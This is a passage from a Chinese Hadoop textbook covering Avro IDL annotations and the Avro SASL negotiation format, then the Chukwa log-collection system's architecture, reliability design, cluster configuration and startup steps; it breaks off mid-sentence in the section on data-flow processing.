MyRecord{\n@order（\"ascending\"）myAscendingSortField；\n@order（\"descending\"）myDescendingField；\n@order（\"ignore\"）myIgnoredField；\n}\n当然注释也可以放在字段类型的前面，如：\nrecord MyRecord{\n@java-class（“java.util.ArrayList”）array string myStrings；\n}\n类似的，当定义一个指定模式时，使用@namespace可以修改命名空间，如：\n@namespace（\"org.apache.avro.firstNamespace\"）\nprotocol MyProto{\n@namespace（\"org.apache.avro.someOtherNamespace\"）\nrecord Foo{}\nrecord Bar{}\n}\n这里在firstNamespace命名空间中定义了一个协议，记录Foo定义在someOtherNamespace中，Bar定义在firstNamespace中，且从容器中继承了默认值。\n对于类型和字段的别名可以用注释@aliases来指定，如下所示：\n@aliases（[\"org.old.OldRecord\"，\"org.ancient.AncientRecord\"]）\nrecord MyRecord{\nstring@aliases（[\"oldField\"，\"ancientField\"]）myNewField；\n}\n下面是Avro IDL文件的完整例子：\n/**\n*An example protocol in Avro IDL\n*/\n@namespace（\"org.apache.avro.test\"）\nprotocol Simple{\n@aliases（[\"org.foo.KindOf\"]）\nenum Kind{\nFOO，\nBAR，//the bar enum value\nBAZ\n}\nfixed MD5（16）；\nrecord TestRecord{\n@order（\"ignore\"）\nstring name；\n@order（\"descending\"）\nKind kind；\nMD5 hash；\nunion{MD5，null}@aliases（[\"hash\"]）nullableHash；\narray＜long＞arrayOfLongs；\n}\nerror TestError{\nstring message；\n}\nstring hello（string greeting）；\nTestRecord echo（TestRecordrecord）；\nint add（int arg1，int arg2）；\nbytes echoBytes（bytes data）；\nvoiderror（）throws TestError；\nvoid ping（）oneway；\n}\n16.5 Avro SASL概述\nSASL（Simple Authentication and Security Layer，简单验证安全层）是网络协议中提供验证和安全的框架，它将验证机制从用户程序协议中分离出来，使得采用SASL的程序可以使用任何SASL所支持的验证机制，同样也支持代理验证。SASL提供的数据安全层能够提供数据完整性和数据加密服务，支持SASL的用户协议，也支持SASL服务所需的安全传输层协议，其中安全传输层协议是为因特网上通信提供安全性的加密协议。开发者可通过SASL对通用API进行编码，此方法避免了对特定机制的依赖。采用SASL的协议需要定义SASL profile，即如何使用SASL进行验证协商。下面对Avro RPC采用的SASL进行介绍。\nSASL协商过程可以看成是客户端和服务器使用特定的SASL机制、在连接的基础上进行一系列消息的交互。客户端通过发送带有初始消息（可能为空）的机制名称（这里是SASL）来协商过程。协商过程一直伴随着消息的交换直到某一方表明协商成功或失败。消息的内容由具体的机制决定，如果协商成功就可以通过连接进行会话，否则将被抛弃。一些机制在协商之后会继续处理会话的数据（如对数据进行加密），而一些机制会指定会话数据传输不需修改。\nAvro SASL协商使用4个单字节命令，分别是：\n0：START（开始），使用于客户端初始消息中；\n1：CONTINUE（继续），使用于协商进行中；\n2：FAIL（失败），协商失败；\n3：COMPLETE（完成），成功完成协商。\n开始消息的格式是：\n|0|4字节的机制名称的长度|机制名称|4字节的有效负载的长度|有效负载数据|\n继续消息的格式是：\n|1|4字节的有效负载的长度|有效负载数据|\n失败消息的格式是：\n|2|4字节的消息长度|UTF-8的消息|\n完成消息的格式是：\n|3|4字节的有效负载的长度|有效负载数据|\n协商以客户端发送START命令开始，START命令中包含客户端选定的机制名称和指定机制的有效负载数据。然后，服务器和客户端交换一些CONTINUE消息，每个消息包含由安全机制生成的下个消息的有效负载数据。一旦客户端或者服务器发送FAIL消息，协商就会失败，失败消息中包含UTF-8编码的文本。只要接收到或发送了FAIL消息，或者在协商过程中发生了任何错误，基于此次连接的通信就必须结束。如果客户端或服务器发送COMPLETE消息，那么协商将成功完成，会话数据可以通过此次连接进行传输直到一方关闭。\n如果SASL QOP（Quality of Protection，品质保证）没有进行协商，则基于此次连接的读/写无需修改，特别是传输的消息使用了Avro框架并采用了下面的形式：\n|4字节的框架长度|框架数据|……|4个零字节|\n如果SASL QOP协商且成功，则此次连接后的消息传输使用QOP。写数据时使用安全机制对非空的框架进行封装，读取数据时需要解开。完整的框架必须传送到安全机制进行解封装，之后传送到应用程序中。如果在封装、解封装或者框架处理时发生错误，那么此次连接的通信必须结束。\nSASL的匿名机制很容易实现，特别之处在于，一个初始的匿名请求可以用以下静态序列作为前缀：\n|0|009|ANONYMOUS|0000|\n如果服务器使用匿名机制，则它应检查所接收到的请求前缀，即开始消息的机制名称是否为“ANONYMOUS”，然后对带有COMPLETE消息的初始响应前加上前缀：\n|3|0000|\n如果匿名服务器接收到带有其他机制名称的请求，那么它将发送FAIL消息：\n|2|0000|\n注意，匿名机制不会在客户端和服务器之间增加多余的往返，START消息附加在初始请求中，而COMPLETE和FAIL消息则附加在初始响应中。\n16.6 本章小结\n本章内容主要包括：16.1节首先将说明如何声明Avro模式，以及如何对数据进行序列化；然后介绍对象容器文件的具体格式和RPC中Avro的使用方法，包括协议的声明、协议传输的格式等；最后介绍如何解析获取的数据，重点说明如何处理写入模式和读取模式的不同。16.2节介绍了在C和C++中如何使用Avro，主要叙述函数的使用，其中引用关于学生模式的具体例子来详细介绍。16.3节首先介绍Java中使用Avro所需要的一些包，后面给出了上节中学生模式例子的Java实现程序。16.4节主要介绍了GenAvro语言，说明如何用类似高级语言的方法来声明一个Avro模式。16.5节简单介绍了Avro的简单验证安全层，具体说明了通信双方如何进行协商。\nAvro作为一个数据序列化系统，为数据密集型动态应用程序提供了数据存储和交换的平台，它的最大特点就是模式和数据在一起，也就是在反序列化时写入的模式和读出的模式都是已知的，这为Avro带来了很多好处，如生成的数据文件很小等。\n今后，Avro可能会替换Hadoop现有的RPC, Avro的很多特性是为Hadoop及相关项目准备的：容器文件中的同步器可以使MapReduce快速地分离文件；不需要生成代码，有利于Avro使用于Hive和Pig；对于大规模存储较小的数据文件有利于减少数据量等。Avro数据结构的特性和多语言支持的优势还会帮助Hadoop在跨版本、多语言等方面提高性能。\n第17章 Chukwa详解\n本章内容\nChukwa简介\nChukwa架构\nChukwa的可靠性\nChukwa集群搭建\nChukwa数据流的处理\nChukwa与其他监控系统比较\n本章小结\n17.1 Chukwa简介\nHadoop的MapReduce最初的主要用于日志处理。但是使用MapReduce处理日志是一件很烦琐的事情，因为集群中机器的日志在不断地增加，会生成大量小文件，而MapReduce其实只有在处理少量的大文件数据时才会产生最好的效用。\nChukwa作为Hadoop的子项目弥补了这一缺陷。同时它也是一个高可靠性的应用，能通过扩展处理大量的客户端请求，还能汇聚多路客户端的数据流。Chukwa也非常适合商业应用，特别是在云环境上，并且它已经成功地使用在多个场景中。\nChukwa的开发主要面向四类群体：Hadoop使用者、集群运营人员、集群的管理者、Hadoop开发者。\nHadoop使用者：他们一般想了解作业运行的状态，以及还有多少资源可以用于新的作业，因此他们需要得到的是作业日志和作业输出。\n集群运营人员：他们需要了解硬件故障、异常状态、资源的消耗情况。\n集群的管理者：他们需要了解在什么样的成本下能够提供什么样的服务，这就意味着他们需要一个工具去分析集群系统或单个用户过去的使用状况，并利用分析出的信息预测将来的需求。他们也要了解系统的一些特征值，如一个任务的平均等待时间。Hadoop开发者：Hadoop的开发人员通常需要了解系统的运行情况，Hadoop的运行瓶颈、失效模式等。\nChukwa作为Hadoop软件家族中的一员，依赖于其他Hadoop的子项目使用，比如，以HDFS作为存储层，以MapReduce作为计算模型，以Pig作为高层的数据处理语言。Chukwa系统的最大开销被限制在整个集群系统可用资源的5%以内。\nChukwa是一个分布式系统，它采用的是流水式数据处理方式和模块化结构的收集系统，在每一个模块中有一个简单规范的接口，这有利于将来更新，而不需要打破现行的编码结构。流水式模式就是利用其分布在各个节点客户端的采集器收集各个节点被监控的信息，然后以块的形式通过HTTP Post汇集到收集器，由它处理后转储到HDFS中。之后这些数据由Archiving处理（去除重复数据和合并数据）提纯，再由分离解析器利用MapReduce将这些数据转换成结构化记录，并存储到数据库中，HICC（Hadoop Infrastructure Care Center）通过调用数据库里数据，向用户展示可视化后的系统状态。\n图17-1展示了Chukwa流水式数据处理结构。\n下面的章节将从Chukwa架构出发，介绍系统中的各个模块，并且讲解Chukwa如何实现系统的可靠性。在对Chukwa整个系统框架及原理有所了解后，大家可以根据“Chukwa集群搭建”一节的介绍，搭建一个自己的Chukwa系统来监控Hadoop集群，这样就可以与其他监控系统有一个比较。希望大家可以结合自己实际使用感受，进一步了解Chukwa监控系统的特点。\n图 17-1 Chukwa流水式数据处理结构\n17.2 Chukwa架构\nChukwa有三个主要组成部分：客户端（Agent），它运行在每一个被监控的机器上，并且传送源数据到收集器（Collector）中；收集器（Collector）和分离解析器（Demux），收集器接受从Agent传来的数据，并且不断地将其写到HDFS中，而分离解析器则进行数据抽取并将其解析变换成有用的记录；HICC（Hadoop Infrastructure Care Center），其是一个门户样式的网页界面，用于数据的可视化。\n图17-2为Chuwa的系统架构图。\n图 17-2 Chuwa系统架构图\n 17.2.1 客户端及其数据模型\n在Chukwa中，Agent的主要目的是：使内部进程通信协议能够兼容处理本地的日志文件。\n随着分布式计算处理的开始或结束，分布存放的文件和套接字将会不断增加或减少，这种变化是需要被监控的，因此要在每一台机器上配置Agent。现在绝大多数的监控系统都要求通过特殊的协议传送数据，Chukwa也不例外，所以在Chukwa中，Agent不直接负责接收数据，取而代之的是一个可执行环境：提供可配置的承载数据模块（Adaptor）。这些Adaptor在文件系统或被监控的应用中的功能是读取数据，Adaptor的输出是一个逻辑上的比特流，单个数据流对应单个文件，或者在相应套接字上接收对应的数据包或一系列重复调用的UNIX程序。数据流被存储成序列块，每一个数据块由一些流级别的元数据（Stream-level metadata）加上一个数组比特构成。启动Adaptor可以通过UNIX命令来完成。Adaptor能够扫描目录，追踪新创建的文件。这样Adaptor便能够接收UDP消息，包括系统日志（Syslog），特别是可以不断地追踪日志，将日志更新到文件中。并且Adaptor是可以互相嵌套的，例如，一个Adaptor可以在内存中缓存来自另一个Adaptor的输出。在单个线程内运行所有的Adaptor，可以让管理员在资源受限的商业环境中实施一些必要的资源限制：内存的使用可以通过JVM堆的使用进行控制；CPU的使用可以通过进程优先级（Nice）控制；带宽的限制可以通过Agent进程协调，即设置它在网络中的最大传输速率，只要超过最大可利用的带宽，就在Agent进程中设置固定大小的队列，或者当Collector响应缓慢时，Collector会自动调节进程中Adaptor的工作。\nAgent的主要工作是负责开始和停止Adaptors，并且通过网络传输数据。Agent支持行定位控制协议，方便程序对Agent控制。该协议包含的命令有：启动和停止Adaptor，以及查询它们的状态，也允许外部程序在开始读日志时重新配置Chukwa。Agent进程也将会定期查询Adaptor状态，并且存储Adaptor状态在检查点（Checkpoint）文件中，每一个Adaptor负责记录足够的状态以便能够在需要的时候完整地恢复原先的状态，Checkpoint只是包含状态，因此Checkpoint文件是很小的，一般每一个Adaptor的Checkpoint文件只有几百比特。\nAgent和Adaptor会自动设置一些元数据，但是其中有两个元数据是需要用户自己定义的：集群名字和数据类型。集群名字被设置在etc/chukwa/chukwa-agent-conf.xml中，是在每一个进程当中的全局变量。数据类型描述了由Adaptor实例收集的数据类型，在启动实例时，它必须已经指定。下面的表17-1列举了块的元数据字段。\nAdaptors需要以序列号（Sequence ID）作为参数，以便在崩溃后能重新恢复到之前的状态。在启动Adaptor时，通常会把序列号置为0，但是有时候也会为了其他的目的将序列号置为其他值，例如，只想追踪文件的下半部分。\n17.2.2 收集器\n现在介绍Chukwa架构中Collector的模型。如果每一个Agent都直接向HDFS中写入数据，那么将会产生许多小文件，所以Chukwa使用Collector技术，由单个Collector线程处理多个来自于Agent的数据，每一个Collector将它接收的数据写到单个输出文件中，这个文件放在数据宿（Data Sink）目录下，这就减少了单个机器或单位时间内Adaptor产生的文件数，同时也减少了整个集群产生的文件数。从某种意义上来讲，Collector的存在减轻了大量的低速率数据源和优化过的少量高速率文件系统间写入的匹配问题，Collector会定期关闭它们的输出文件，同时重新命名该文件来标记其可以被进一步处理，并且开始写另一个新的文件。这个过程被称为文件轮转。一个MapReduce作业定期压缩收集到的日志文件并且将它们合并成一个文件。\nChukwa不同于其他监控系统的地方就是它利用了Collector技术。在Collector中没有实施任何可靠性策略，Chukwa的可靠性是依赖于系统端到端的协议。在Chukwa的可靠路径中，Collector以标准的Hadoop序列文件（sequencefile）格式写数据。这种格式使MapReduce的多路处理更加容易。\nChukwa Agent在分配Collector时也没有实施动态负载均衡方法，而是由Agent随机选择Collector轮询，直到有一个可以工作为止，而后Agent将独占该Collector，直到Agent接受到报错信息，这时才会转移到一个新的Collector上，如图17-3所示。\n该方法的好处是在文件系统写数据之前，限定了由于Collector故障受影响的Agent的数量，这也避免了故障扩散，否则会发生每一个Agent都被迫对任意一个Collector所发生的故障做出响应的情况。这种情况会造成Collector间的负载不均衡。但在实际的应用中该问题造成的影响不大，Collector不太会饱和。\n为了处理过载的情况，Agent重新询问Collector是有特定方法的。如果Agent向一个Collector中写入数据失败，那么该Collector被标记为“坏的”（bad），并且该Agent将在再次写入之前等待一个系统设置的时间。因此，如果所有Collector过载，一个Agent将会询问每一个Collector，其结果都将会是访问失败，这样Agent会等待几分钟后再次访问Collector。\n在Collector端筛选数据有许多优点，如Collector是IO约束型，不是CPU约束型，这意味着CPU资源可以根据作业的状态进行分配，进一步说，也就是Collectors是无状态的，只需在机器间简单增加更多的Collector即可。\n图 17-3 Agent的可靠性实施\n17.2.3 归档器和分离解析器\nChukwa为我们定制了一系列MapReduce作业，这些作业大体上可以分为两类：归档（Archiving）和分离解析（Demux）。\n归档器从HDFS的块（Chunk）中抽取数据作为输入，然后将数据进行排序、分组。在这一过程中归档器并不对数据内容进行分析或修改，它会按照不同的方式将数据进行分组。归档器能去除重复数据，并探查到数据丢失，重复地调用该作业可让数据随时间不断压缩到一个大文件中。Chukwa提供了一些工具搜索归档器产生的文件。\n分离解析器的功能是抽取记录并解析，使之变换成可以利用的记录，以减少文件数目和降低分析难度。Demux的实现是通过在数据类型和配置文件中指定的数据来处理类并执行相应的数据分析工作的。一般是把非结构化的数据结构化，抽取其中的数据属性。由于Demux的本质是一个MapReduce作业，所以可以根据需求制定Demux作业来进行各种复杂的逻辑分析。Chukwa提供的Demux interface可以通过Java语言很方便地扩展。在之前没有Demux的版本中，Chukwa引入了Archiving的MapReduce作业，按照集群、日期和数据类型来分类数据。这种存储模型匹配了使用数据的传统作业模式，简化了写作业通过基于数据的时间、来源和类型提纯数据的过程。例如，存储用户日志用14天标记，而存储系统日志则用年标记。\nChukwa支持用正则表达式来查询文件的元数据和数据内容，对于繁重和复杂的任务，用户可以运行特定的MapReduce作业去收集数据。此外，Chukwa完整地整合了Pig（见第14章“Pig详解”），以提供更加强大的搜索功能。\n17.2.4 HICC\nHICC作为Chukwa的子项目，其重要功能是可视化系统性能指标。HICC能够显示传统系统的度量数据，例如系统资源空闲比率、CPU的负载、磁盘写数据的速度，以及应用层的统计数据（如本地机器内map任务数、Hadoop块迁移数量等）等。HICC也能够显示使用每一个节点日志信息的SALSA作业执行模型状态机和Mochi可视化框架[1，2]。利用Chukwa可视化功能可以清楚看到集群中的作业是否在被均匀传播。HDFS对于读请求有很长的延迟，因此在执行交互查询工作时，反应会比较慢，而HICC抽取数据是使用批插入的方式向SQL数据库中插入通过MapReduce处理收集到的数据。MapReduce作业默认每5分钟执行一次，因此显示数据至少比实时慢5分钟。HICC也可以支持集群性能的调试和Hadoop作业执行的可视化等应用。在这些应用中，延迟并不是问题。目前，HICC不需要Chukwa的可靠性传输，但是它依赖于Chukwa收集数据和MapReduce处理数据。\n17.3 Chukwa的可靠性\n容错能力是Chukwa设计的一个重要指标。即使在系统崩溃、网络连接中断情况下，也不能丢失数据。Chukwa的方案与其他分布式系统在本质上的不同是其分布式存储日志的方式。该方式会将数据源的相应状态写入数据节点，由Agent管理节点崩溃的情况，Agent通常会为自己的状态设置检查点（Checkpoint）。该Checkpoint描述了每一个当前被监控的数据流，并且清查有多少来自流中的数据已经被提交到DataSink上。在节点崩溃后，Chukwa使用后台管理工具去重启Agent。\n在Agent进程恢复后，每一个Adaptor将从最近的Checkpoint状态重启。这意味着Agent将重新发送没有提交的数据，或者重新发送在最后的Checkpoint记录之后所提交的数据。在恢复过程中所产生的重复块将通过Archiving作业滤除掉。跟踪文件状态的Adaptor通过文件的定位固定偏移量来恢复文件内容，并且Adaptor也能够监控临时数据源，如网络的套接字。在这种情况下，Adaptor通过重新发送数据就能很容易恢复丢失的数据，因此丢失数据将不是一个大的麻烦，例如丢失一分钟的系统度量信息。因为在默认提供封装好的库的Adaptor中已经缓存了来自不稳定数据源的数据，所以就可以建立不带容错机制的Collector。Agent将检查Collector对于文件系统的状态，这个状态会起到侦测系统故障并从故障中恢复的作用。恢复则完全由Agent处理，并不需要从失效的Collector中获取信息。然后Agent发送数据到Collector, Collector将写数据存储到HDFS文件中，并且也定位了数据在文件中的位置。这个位置很容易就能确定，因为每一个文件仅是通过一个Collector写的，唯一需要满足的要求就是排列数据和增加其长度。\nCollector将不监控已写入的文件，也不存储每一个Agent状态，轮询Collector而不是直接对文件系统访问是为了减少文件系统主节点的负载，把Agent从存储系统的烦琐中解脱出来。在出现故障时，Agent将恢复上一个Checkpoint，并且选择一个新的Collector。\n17.4 Chukwa集群搭建\n 17.4.1 基本配置要求\nChukwa可以工作在任何POSIX平台上，但是GNU/Linux是唯一的已经被广泛测试的商用平台，不过，几个Chukwa研发团队也在Mac OS X上成功使用了Chuwka。目前将GNU/Linux作为安装Chukwa的平台是比较理想的选择。下面是安装Chukwa的先决条件：\n必须安装Java 1.6；\n必须安装Hadoop 0.20.205.0或以上版本；\n安装HBase 0.90.4或以上版本；\nChukwa集群管理脚本需要安装SSH。SSH功能用户Chkuwa执行集群管理脚本，但是对于Chukuwa的运行并不是必需的。如果不使用SSH用户可以采用其他方法来维护Chukwa集群。\n17.4.2 Chukwa的安装\nChukwa项目的运行至少需要如下三部分的支持：\nHadoop集群和HBase集群，Chukwa依赖其来存储并处理数据。\n一个Collector进程，将收集到的数据写入HBase中。\n一个或多个Agent进程，它发送监控数据到Collector，我们将运行的Agent进程的节点视为被监控点。\n另外，可以使用定制的脚本文件来监控集群的健康状态，并使用HICC来图形化显示集群的状态。\n下面我们以三台机器为例介绍如何配置Chukwa来监控Hadoop分布式集群，集群中三台机器的主机名分别为：master、slave1和slave2，其中master作为Hadoop的NameNode和Hbase的HMaser。\n1.安装Chukwa\n首先需要在官网（http：//incubator.apache.org/chukwa/）上下载Chukwa，然后将其解压在合适的目录下。当前Chukwa的最新版本为0.5.0，下面以此版本为例进行介绍。下载并解压Chukwa后，我们设置Chkuwa的环境变量如下所示：\nexport CHUKWA_HOME=/home/hadoop/hadoop-1.0.1/chukwa-incubating-0.5.0\nexport CHUKWA_CONF_DIR=$CHUKWA_HOME/etc/chukwa\nexport PATH=$CHUKWA_HOME/bin：$CHUKWA_HOME/sbin：$CHUKWA_CONF_DIR：$PATH\n从上面的配置中可以看出，我们将Chukwa放在Hadoop目录下便于管理。在Chukwa 0.5.0版本中，配置文件并不在根目录下的conf文件中，conf文件已经被删除，取而代之的是Chukwa根目录下的$CHUKWA_HOME/etc/chukwa目录。另外，Chukwa的集群管理脚本也并非全部在bin目录下，而是在bin和sbin两个目录下。故此，我们将$CHUKWA_HOME/bin和$CHUKWA_HOME/sbin同时加入PATH中方便操作。\n2.Hadoop和HBase集群的配置\nHadoop和HBase的安装与配置我们已经在前面章节详细讲过，这里不再赘述。这里主要介绍为了安装Chukwa而对Hadoop和HBase集群配置的进一步修改。\n首先按照如下命令，将Chukwa文件复制到Hadoop中：\ncp$CHUKWA_CONF_DIR/hadoop-log4j.properties$HADOOP_CONF_DIR1/log4j.properties\ncp$CHUKWA_HOME/etc/chukwa/hadoop-metrics2.properties$HADOOP_CONF_DIR/hadoop-\nmetrics2.properties\ncp$CHUKWA_HOME/share/chukwa/chukwa-0.5.0-client.jar$HADOOP_HOME/lib\ncp$CHUKWA_HOME/share/chukwa/lib/json-simple-1.1.jar$HADOOP_HOME//lib\n配置完成后重启Hadoop集群，接着进行HBase的设置。我们需要在HBase中创建数据存储所需要的表，如下所示：\nbin/hbase shell＜CHUKWA_HOME/etc/chukwa/hbase.schema\n表的模式Chukwa已经定义好，我们只需要通过HBase shell将其导入即可。\n3.Collector的配置\n首先我们对$CHUKWA_CONF_DIR/chukwa-env.sh进行配置。该文件为Chukwa的环境变量，大部分的脚本都需要从该文件中读取关键的全局Chukwa配置信息。我们需要对以下变量进行设置：\nexport JAVA_HOME=/usr/lib/jvm/java-6-sun-1.6.0.06\nexport HBASE_HOME=/home/hadoop/hadoop-1.0.1/hbase-0.92.1\nexport HBASE_CONF_DIR=$HBASE_HOME/conf\nexport HADOOP_HOME=/home/hadoop/hadoop-1.0.1\nexport HADOOP_CONF_DIR=$HADOOP_HOME/conf\n注意 如果已经在系统环境变量中（如/etc/profile文件）配置了上述参数，那么这里可以省略。需要格外注意的是，chukuwa-env.sh中参数的优先级要高于/etc/profile文件中相同的参数，一定要保证优先级高的参数设置正确。\n另外，当需要运行多台机器作为收集器的时候，要修改$CHUKWA_CONF_DIR/collectors文件，该文件定义了哪台机器运行收集器进程。配置文件格式与Hadoop的$HADOOP_CONF_DIR/slaves文件类似，每行代表一台机器。在默认情况下该文件只包含一行记录：配置localhost运行收集器进程。\n另外，$CHUKWA_CONF_DIR/initial_Adaptors文件主要用于设置Chukwa监控哪些日志，以及以什么方式、什么频率来监控等。使用默认配置即可，如下所示：\nadd sigar.SystemMetrics SystemMetrics 60 0\nadd SocketAdaptor HadoopMetrics 9095 0\nadd SocketAdaptor Hadoop 9096 0\nadd SocketAdaptor ChukwaMetrics 9097 0\nadd SocketAdaptor JobSummary 9098 0\nCHUKWA_CONF_DIR/chukwa-collector-conf. xml维护了Chukwa的基本配置信息。我们需要通过该文件指定HDFS的位置，如下所示：\n＜property＞\n＜name＞writer.hdfs.filesystem＜/name＞\n＜value＞hdfs：//Master：9000/＜/value＞\n＜description＞HDFS to dump to＜/description＞\n＜/property＞\nwriter. hdfs.filesystem中的hdfs：//master：9000/是Hadoop分布式文件系统的地址，Chukwa将利用它来存储数据，可以根据实际地址对其进行修改。\n下面的属性设置用于指定sink data地址（见代码内容），/chukwa/logs/就是它在HDFS中的地址。在默认情况下，Collector监听8080端口（代码如下所示），不过这是可以修改的，各个Agent将会向该端口发消息。\n＜property＞\n＜name＞chukwaCollector.outputDir＜/name＞\n＜value＞/chukwa/logs/＜/value＞\n＜description＞Chukwa data sink directory＜/description＞\n＜/property＞\n＜property＞\n＜name＞chukwaCollector.http.port＜/name＞\n＜value＞8080＜/value＞\n＜description＞The HTTP port number the collector will listen on＜/description＞\n＜/property＞\n4.Agent的配置\nAgent由$CHUKWA_CONF_DIR/agents文件进行配置，该配置文件的格式与$CHUKWA_CONF_DIR/collectors相似，每行代表一台运行Agent的机器。如下所示为我们运行Agent的设置：\nmaster\nslave1\nslave2\n另外，CHUKWA_CONF_DIR/chukwa-Agent-conf.xml文件维护了代理的基本配置信息，其中最重要的属性是集群名，用于表示被监控的节点，这个值被存储在每一个被收集到的块中，以区分不同的集群，如设置cluster名称：cluster=\"chukwa\"。\n＜property＞\n＜name＞chukwaAgent.tags＜/name＞\n＜value＞cluster=\"chukwa\"＜/value＞\n＜description＞The cluster's name for this Agent＜/description＞\n＜/property＞\n另一个可选的节点是chukwaAgent.checkpoint.dir，这个目录是Chukwa运行Adaptor的定期检查点，它是不可共享的目录，并且只能是本地目录，不能是网络文件系统目录。\n5.使用Pig进行数据分析\n我们可以使用Pig进行数据分析，因此需要额外设置环境变量。要让Pig能够读取Chukwa收集到的数据，即与HBase和Hadoop进行连接，首先需要确保Pig已经正确安装，然后在Pig的classpath中引入Hadoop和HBase的配置文件目录，如下所示：\nexport PIG_CLASSPATH=$HADOOP_CONF_DIR：$HBASE_CONF_DIR\n接下来创建HBASE_CONF_DIR的JAR文件：\njar cf$CHUKWA_HOME/hbase-env.jar$HBASE_CONF_DIR\n创建周期性运行的分析脚本作业：\npig-Dpig.additional.jars=${HBASE_HOME}/hbase-0.90.4.jar：${ZOOKEEPER_HOME}/\nzookeeper-3.3.2.jar：${PIG_HOME}/pig-0.10.0.jar：${CHUKWA_HOME}/hbase-env.jar\n${CHUKWA_HOME}/share/chukwa/script/pig/ClusterSummary.pig\n其中hbase-env.jar为上一步刚刚生成的HBASE_CONF_DIR的JAR文件。\n17.4.3 Chukwa的运行\n在启动Chukwa之前需要启动Hadoop和HBase，之后需要分别启动Collector进程和Agent进程。\n1.Collector进程的启动\n在单个节点上运行Collector进程可以使用bin/chukwa collector命令，如下所示：\nchukwa collector\nhadoop@master：～/hadoop-1.0.1/chukwa-incubating-0.5.0$\nOK writer.hdfs.filesystem[URI]=hdfs：//master：9000\nNo checker rules for：chukwaCollector.outputDir\nstarted Chukwa http collector on port 8080\n在启动成功后将读出一些系统配置信息，如上所示，Collector进程将监视8080端口。另外，Collector可以作为守护进程运行，其脚本命令是sbin/start-collectors.sh，它将远程登录（SSH）到在conf/collectors配置中列出的Collector地址，并且启动一个Collector进程在后台运行。\n脚本命令sbin/stop-collectors.sh则用来关闭Collector进程。另外还可以通过bin/chukwa collector sotp命令来关闭Collector进程。\n可以在浏览器中输入http：//collectorhost：collectorport/chukwa?ping=true，其中，collectorhost是Collector的节点，collectorport是相应的端口，如果Collector运行正常，一些统计数据将在页面中显示，例如：\nDate：1337780783926\nNow：1337780798066\nnumberHTTPConnection in time window：0\nnumberchunks in time window：0\nlifetimechunks：0\n2.Agent进程的启动\n在单个节点上启动Agent进程可以使用bin/chukwa agent命令。另外也可以通过sbin/start-agents.sh来启动Agent进程。start-agents.sh脚本将会读取CHUKWA_CONF_DIR/agents文件，并且启动该配置文件中所列出的所有机器的Agent进程。\n3.HICC进程的启动\n开始运行HICC，输入命令$CHUKWA_HOME/bin/chukwa hicc，如下所示：\nhadoop@master：chukwa hicc\nhadoop@master：～/hadoop-1.0.1/chukwa-incubating-0.5.0$May 23，2012 6：51：41 AM com.\nsun.jersey.api.core.PackagesResourceConfig init\nINFO：Scanning for root resource and provider classes in the packages：\norg.apache.hadoop.chukwa.rest.resource\norg.apache.hadoop.chukwa.hicc.rest\nMay 23，2012 6：51：42 AM com.sun.jersey.api.core.ScanningResourceConfig logClasses\nINFO：Root resource classes found：\nclass org.apache.hadoop.chukwa.hicc.rest.MetricsController\nclass org.apache.hadoop.chukwa.rest.resource.ViewResource\nclass org.apache.hadoop.chukwa.rest.resource.UserResource\nclass org.apache.hadoop.chukwa.rest.resource.WidgetResource\nclass org.apache.hadoop.chukwa.rest.resource.ClientTrace\nMay 23，2012 6：51：42 AM com.sun.jersey.api.core.ScanningResourceConfig logClasses\nINFO：Provider classes found：\nclass org.apache.hadoop.chukwa.rest.resource.WidgetContextResolver\nclass org.apache.hadoop.chukwa.rest.resource.ViewContextResolver\nMay 23，2012 6：51：42 AM com.sun.jersey.server.impl.application.WebApplicationImpl\n_initiate\nINFO：Initiating Jersey application, version'Jersey：1.10 11/02/2011 04：41 PM'\n在Agent进程启动成功后，在Web地址栏输入http：//＜Server＞：＜port＞/hicc即可看到Chukwa的可视化界面。其中，Server是主机名，＜port＞是jetty端口，默认为4080，可以根据需要对$CHUKWA/webapps/hicc.war文件中/WEB-INF/目录下的jetty.xml文件进行修改，如下所示：\n＜Call name=\"addConnector\"＞\n＜Arg＞\n＜New class=\"org.mortbay.jetty.nio.SelectChannelConnector\"＞\n＜Set name=\"host\"＞＜SystemProperty name=\"jetty.host\"/＞＜/Set＞\n＜Set name=\"port\"＞＜SystemProperty name=\"jetty.port\"default=\"4080\"/＞＜/Set＞\n＜Set name=\"maxIdleTime\"＞30000＜/Set＞\n＜Set name=\"Acceptors\"＞2＜/Set＞\n＜Set name=\"statsOn\"＞false＜/Set＞\n＜Set name=\"confidentialPort\"＞8443＜/Set＞\n＜Set name=\"lowResourcesConnections\"＞5000＜/Set＞\n＜Set name=\"lowResourcesMaxIdleTime\"＞5000＜/Set＞\n＜/New＞\n＜/Arg＞\n＜/Call＞\nChukwa HICC界面如图17-4所示。\n图 17-4 HICC界面\n在Cluster Status表单中可以看到监控集群的运行情况，如图17-5所示。\n图 17-5 HICC监控的集群运行\n在DFS Status表单中可以看到分布式文件系统的状态，如图17-6所示。\n图 17-6 HICC监控的分布式文件系统运行\n也可以单击菜单栏中Options选项的Add Widget（窗件），向网页中添加需要监控的窗件，如图17-7所示。\n图 17-7 向HICC添加信息窗\n单击信息窗右上角的齿轮，可以打开并选择需要显示的度量指标，如图17-8所示。\n图 17-8 在HICC的窗件中选择需要显示的度量指标\n4.启动Chukwa的过程\n我们可以按照如下顺序启动Chukwa。\n1）启动Hadoop和HBase；\n2）启动Chukwa：$CHUKWA_HOME/sbin/start-chukwa.sh；\n17.5 Chukwa数据流的处理\n原始日志收集和聚集的流程是基于Chukwa分布式文件系统（DFS）的。Chukwa文件在HDFS中的存储结构如图17-9所示。\n图 17-9 Chukwa分布式文件系统（DFS）的结构\n下面介绍Chukwa文件在HDFS中的存储流程。\n1）Collector将块写到logs/目录下的*.chukwa文件中，直到达到块的大小（64MB）或超时了，Collector关闭块，并且将logs/*.chukwa改为logs/*.done后缀的文件。\n2）DemuxManager每20秒检查一次*.done文件。\n如果这些文件存在，那么移动它们到demuxProcessing/mrInput中，之后Demux将在demuxProcessing/mrInput目录下执行MapReduce作业。\n如果Demux在三次之内成功整理完成MapReduce文件，那么将demuxProcessing/mrOutput中的文件移动到dataSinkArchives/[yyyyMMdd]/*/*.done中，否则移动执行完MapReduce的文件demuxProcessing/mrOutputdataSinkArchives/InError/[yyyyMMdd]/*/*.done。\n3）每隔几分钟PostProcessManager将执行聚集、排序和去除重复文件作业，并且将postProcess/demuxOutputDir_*/[clusterName]/[dataType]/[dataType]_[yyyyMMdd]_[HH].Re移动到repos/[clusterName]/[dataType]/[yyyyMMdd]/[HH]/[mm]/[dataType]_[yyyyMMdd]_[HH]_[N].[N].evt。\n4）HourlyChukwaRecordRolling将会